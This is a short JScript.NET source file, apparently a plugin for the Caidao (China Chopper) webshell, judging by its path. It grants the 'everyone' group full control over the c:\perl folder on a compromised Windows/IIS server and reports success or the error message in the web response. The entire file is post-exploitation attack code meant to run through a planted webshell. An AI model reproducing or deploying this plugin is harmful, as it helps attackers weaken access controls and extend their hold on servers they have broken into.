webshell/caidao-shell/caidao-plug/Aspx设置权限.ccc

16 lines
1.1 KiB
Text

try
{
var strPath:String = "c:\\perl", strUser:String = "everyone";
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow));
dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\tok");
}catch(x){Response.Write(x.Message);}